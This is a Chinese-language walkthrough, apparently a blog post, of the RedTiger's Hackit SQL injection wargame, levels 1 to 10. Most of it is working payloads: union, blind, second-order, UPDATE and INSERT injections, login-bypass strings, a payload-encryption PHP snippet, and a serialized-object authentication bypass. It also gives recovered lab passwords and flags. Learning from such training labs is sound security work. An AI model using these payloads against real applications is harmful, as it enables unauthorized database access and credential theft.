Sql注入

介绍

Sql注入指的是通过构建特殊的数据查询语句 作为参数传入Web应用程序,通过数据库执行SQL语句来非法获取数据过程。

其主要原因是开发者/建站商写代码时,对用户提交的数据没有做细致的过滤或者判断,导致用户输入的非法参数拼接在原来的查询语句后直接带入数据库查询。

产生条件:

1.存在数据交互;

2.用户可以自由控制输入的参数;

3.原本程序要执行的代码后拼接了用户输入的数据后执行;

前言

靶场推荐:sqli-labs,RedTiger's Hackit

0x01

根据提示得到信息:用户 Hronoxe,表 level1_users    

1.点击“Category: 1”   ,url发生变化 http://redtiger.labs.overthewire.org/level1.php?cat=1  发现传参点cat

2.使用and语句判断:

and 1=1没有变化,and 1=2 返回其他信息,存在数字型注入。

https://redtiger.labs.overthewire.org/level1.php?cat=1 and 1=2 

3.使用order by探测列数为4,且回显点在3,4

https://redtiger.labs.overthewire.org/level1.php?cat=1 order by 4 --+

          

https://redtiger.labs.overthewire.org/level1.php?cat=1 union select 1,2,3,4 --+

4.根据页面提示信息构造payload: cat=-1 union select 1,2,3,password from level1_users limit 1 --+  ,得到密码 thatwaseasy,登录即可

0x02

登录框类型注入

方法一:在username构造万能密码1' or 1=1 # 随意输入密码后发现无效,再次尝试Password栏输入万能密码 登录成功

方法二:密码处输入 1' or '1'='1  ,如果密码处为password='' 那么加入万能密码后就变成 password= '1' or '1'='1'

方法三:密码栏输入1’or ' 1=1

0x03

根据提示得到信息 用户:Admin,表:level3_users             

1.点开Admin后为用户信息,同时url出现传参点 ?usr=MDQyMjExMDE0MTgyMTQw 

构造usr[]=MDQyMjExMDE0MTgyMTQw  使其报错,返回错误信息种包含加密解密文件/urlcrypt.inc 拼接后访问    https://redtiger.labs.overthewire.org/urlcrypt.inc

2.将文件的加密方法修改后复制到php在线测试工具(最好是linux环境 php5.x 因为不同版本的php和运行环境生成的加密数不同),构造测试语句Admin' or 1=1 # 加密后将参数放在usr后提交发现转跳到Admin界面,确定注入点可用    

MDQyMjExMDE0MTgyMTQwMTc0MjIzMDg5MjA0MTAxMjUzMjA1MDIwMjU0MDky

?php// warning! ugly code ahead :)// requires php5.x, sorry for that$str="Admin' or 1=1 #";$cryptedstr = "";srand(3284724);for ($i =0; $i < strlen($str); $i++){$temp = ord(substr($str,$i,1)) ^ rand(0, 255);while(strlen($temp)<3){$temp = "0".$temp;}$cryptedstr .= $temp. "";}echo base64_encode($cryptedstr);?>

         

3.构造 Admin' order by 7 # 加密后传参 发现为7列,使用union select 1,2,3,4,5,6,7 发现2 6列爆出数据             

4.构造payload: 1' union select 1,2,3,4,5,password from level3_users where username='Admin' # 加密后通过url传参得到账号密码。

MDMxMjEwMDE2MTcxMTk3MTY5MTM4MDg2MjAzMTEwMTc5MjIwMDkwMTcwMDE5MDAwMTg4MDIxMTg5MDkxMDYxMjE5MjQzMjE1MDE3MTY5MjAzMTQyMjM1MDQ1MjE2MTQ5MDQwMDQzMjI0MjE0MTQyMjUxMDQ2MTE2MjUyMjAxMTEzMjAyMjI0MTc2MDAxMjE2MDgxMTM3MTIxMDY2MTQyMjE4MDMxMTI2MjI0MjQ3MDQ0MDM2MDc2MTQ2MTAzMDc1MTI1MDk3MTA3MjE1MjEyMTE0MTM4MjAzMDc5MDUxMTkzMjE0MTE3MTIzMTk5MDg3MTE5MTUzMDMyMTQzMjAyMDE1MDM2MjI1MDU3MjQwMjQ2MDY5MTgxMDU4MjI1MjAyMDg5MTk4MDA3MDU5MjU1

0x04

根据提示得到信息 查找level4_secret 表中第一个条目的值             

1.点击click me 出现传参点?id=1,添加单引号无效,测试and 1=1 进行测试,显示Query returned 1 rows.,and 1=2 Query returned 0 rows.

存在注入点,且为盲注             

2.构造盲注语句进行探测长度               

 id=1 and length((select keyword from level4_secret))>1 --+               id=1 and (select length(keyword) from level4_secret limit 0,1)>1 --+               id=1 and if((select length(keyword) from level4_secret limit 1) = 21,true,false)              

   

以上3种方式均可以探测长度,最后得到长度为21             

3.构造语句依次探测密码字符

id =1 and (ascii(substr((select keyword from level4_secret limit 0,1),1,1)))=97 #                  id =1 and (ascii(substr((select keyword from level4_secret limit 0,1),2,1)))=97 #           

     

..修改limit的偏移量和ascii值依次探测,可以使用脚本或者sqlmap

最后得到密码为:killstickswithbr1cks!

 0x05

根据提示得到信息知不存在盲注,密码是md5加密,且屏蔽了substr和mid        

1.在用户名和密码处尝试万能密码 1' or 1=1 # 都无效,Username栏输入单引号 123' 报错             

2. Username栏输入 ' order by 3#  随意输入密码后报错,修改列数为2 返回正常,说明字段数为2             

3.说明Sql语句可能是

select Username Password frm table where Username='',

构造payload:

Username栏输入 ' union select 1,md5(1) #  ,Password栏输入1

带入查询语句为 username=’ union select “1”,md5(1) #

即虚构了一个用户名为1,密码为md5(1)的用户数据信息 ,即可登录成功

0x06

根据提示信息知需要得到  level6_users 表中 status 为1的第一个用户

1.点击Click me 发现url 发生变化,https://redtiger.labs.overthewire.org/level6.php?user=1

使用单引号或者and 1=2测试存在sql注入             

2.使用order by 探测得到列数为5,使用union 测试回显点 但是网页并无回显,可能判断存在二次注入 

https://redtiger.labs.overthewire.org/level6.php?user=1 order by 5 #
https://redtiger.labs.overthewire.org/level6.php?user=1 union select 1,2,3,4,5 #

3. 将 user=1' union select 1,2,3,4,5 # 16进制编码后前面加上0x ,放在 user=-1 union select 1,2,3,4,5 # 列上依次通过url提交测试,发现放在2列有回显,回显点为2,4

 user=-1 union select 1,
0x757365723d312720756e696f6e2073656c65637420312c322c332c342c352023,3,4,5 #

4.将' union select1,username,3,password,5 from level6_users where status=1# 编码后加0x放在id-1 'union select 1,2,3,4,5 # 第二列,通过url提交

?user=-1 union select 1,
0x2720756e696f6e2073656c65637420312c757365726e616d652c332c70617373776f72642c352066726f6d206c6576656c365f7573657273207768657265207374617475733d312023,3,4,5 --+

爆出账号密码,登录即可

0x07

根据提示信息知 获取其中一个用户名,表名​:​​​​​​ level_news  字段名:autor             

1.在搜索栏使用单引号测试报错,判断存在注入             

2.通过使用burpsuit截包,在POST包中search参数处发现%') 可以闭合,注释符#被禁,这里可以使用--%a0

3.使用union联合查询得到回显,回显位置为3和4             

search=1%') union select 1,2,3,4 --%a0&dosearch=search%21

4.根据提示构造查寻语句在POST包中提交payload :

&search=3333’) union select 1,2,(select group_concat(autor) from level7_news),4–%a0dosearch=search%21

查询到作者后依次测试提交,TestUserforg00gle为flag 

0x08

1.在Email处输入单引号’,返回报错页面,存在注入,同样在Name处输入单引号’,爆出用户名 Admin       

     

2.猜测为update语句,顺序为name,email,icp,age
 语句为update table_name set name='',email='',icp=,age= where id =1             

3.构造payload:

123',name = password,email = '

在Email栏拼接后sql语句为

update table_name set name='123',name = password,emial ='',email ='xxx',icq=,age= where id =1 

Name栏就直接爆出密码,登录即可

0x09

根据提示信息知 表名:level9_users,且不是盲注             

1.在text框输入单引号报错,判断存在注入             

2.尝试使用order by 和 union select 语句探测并无任何回显             

3.根据格式判断可能是insert注入,正常语句为

INSERT INTO level9_news(name, title, text) values('$name','$title','$text');

其中text为可控点            

4.构造payload:

123'), ((select username from level9_users), (select password from level9_users),'

5.带入到语句中为

登录即可

0x10

根据提示信息知以TheMaster身份登录             

1.点击login后抓包,发现一串base64字符,解密后得到反序列化内容

a:2:{s:8:"username";s:6:"Monkey";s:8:"password";s:12:"0815password";}  

           

2.这里需要用到参数的一个小技巧,布尔值 当where后的条件语中的某一个变量为布尔值 ”真“时 整个语句都会为真,并且在if($result)处验证为真,但是不会获取数据,可以绕过验证             

3.根据题意构造payload:

a:2:{s:8:"username";s:9:"TheMaster";s:8:"password";b:1;}  

base64加密后提交,登录成功

END

SQL注入靶场 RedTiger通关教程(level1~level10)相关推荐

  1. 关于SQL注入靶场搭建及过关教程

    关于SQL注入靶场搭建及过关教程 1.需要环境: 下载安装VMware,在虚拟机上布置虚拟机win7或winXP(个人推荐win7,使用界面与现在的win10界面较为相似,使用起来比较舒适) Win7 ...

  2. 一次简单的SQL注入靶场练习

    一次简单的SQL注入靶场练习 文章目录 一次简单的SQL注入靶场练习 前言 一.靶机下载 二.靶场渗透 1.端口扫描 总结 前言 为了巩固SQL注入以及实战演练的需要,我们来做一次简单的关于SQL注入 ...

  3. SQL注入之sqlmap入门教程

    目录 一.判断是否存在注入点 二.查询当前用户下所有数据库 三.获取数据库中的表名 四.获取表中的字段名 五.获取字段内容 六.获取数据库的所有用户 七.获取数据库用户的密码 八.获取当前网站数据库的 ...

  4. 五分钟制作sql注入靶场

    接触安全也快两个月了,学了很多安全的知识,也接触到了渗透测试,前面学习了sql注入和XSS漏洞,听郭老师说可以尝试自己搭建一个靶场,所以开始制作自己靶场! 目录 一.数据库 文件db-creds.in ...

  5. 开普勒sql注入靶场学习

    0x00 靶场搭建 下载地址 https://github.com/admin360bug/PHP 安装方法 导入localhost.sql数据库 修改APP/mysql.class.php 数据库配 ...

  6. SQL注入靶场:辛巴猫舍

    查:有多少行 进去是这样的:直接点击 可以看到:我们的url发生了变化, id是啥,我们猜测,id是数据库的前面的序号,像这样. 我们输入不同的id,可以得到不同的数据库,那么页面也就不同. 测试:i ...

  7. 「干货」XCTF Web安全入门练习靶场全部通关教程

    也许每个人出生的时候都以为这世界都是为他一个人而存在的,当他发现自己错的时候,他便开始长大 少走了弯路,也就错过了风景,无论如何,感谢经历 0x01 view_source Write Up XCTF ...

  8. SQl注入靶场sqli——第一关

    在浏览器中 使用?id=1'–+ 是可以闭合的但是直接在数据库中查询就不会被闭合,这里估计是网页代码闭合的原因,在数据库中没有代码直接查询语句. 接下来是在闭合中添加语句执行我们想要的命令 使用 or ...

  9. xss靶场、xss.haozi.me靶场详细通关教程

    文章目录 前言 预备知识 HTML编码 img的可拓展 各种payload形式 0x00 0x01 0x02 0x03(使用了正则过滤圆括号) 其它解法 0x04(使用正则过滤圆括号和反引号) 0x0 ...

最新文章

  1. 移动端打开html控制台,移动端中使用调试控制台 eruda
  2. 转:在线框架引用 bootstrap/jq/jqmobile/css框架
  3. 关于JVM 内存的 N 个高频面试问题!
  4. luogu p1459 三值的排序
  5. Python十大常用文件操作
  6. Android WebView开发问题及优化汇总
  7. 64位java_一文详解 Java 的八大基本类型!
  8. 关于wordpress的一些基础知识+安装流程+使用说明(还没整理完)
  9. MySQL Incorrect string value: 有可能是字符串长度不够了
  10. 进程通信:匿名管道和命名管道
  11. yii mysql in,在Yii中从MySQL获取最后插入的ID
  12. linux ip to int,linux ip选项处理(二)
  13. git 学习1--查看全局配置
  14. html span 字体位置,html – 如何强制span在CSS中使用父字体系列
  15. 一个简单的Windows
  16. 数据库操作:更新数据update
  17. 清理android根目录垃圾,安卓清理君——清除手机垃圾
  18. python 修改文件内容3种方法,Python实现修改文件内容的方法分析
  19. php数组键值对是什么意思_php数组中键值对怎么理解呢?
  20. 计算机教室 设备负荷,设备建设标准和规范教室线缆布线.ppt

热门文章

  1. AI实战:文本自动摘要简述
  2. HTML+CSS面试技巧
  3. 用AR Engine手部骨骼跟踪能力实现虚拟手表试戴
  4. zz 图像数据投影投影数据重建图像 radon
  5. QQ文件和公告不显示
  6. 服务器安装windows2016选择磁盘时报错不能将系统安装到此盘符
  7. extjs给panel添加滚动条_ExtJs Panel 滚动条设置
  8. oracle查询部门名称,oracle查询习题(一)
  9. 【P4论文分享】基于P4的可编程数据平面研究及其应用
  10. 路由器_内网端口映射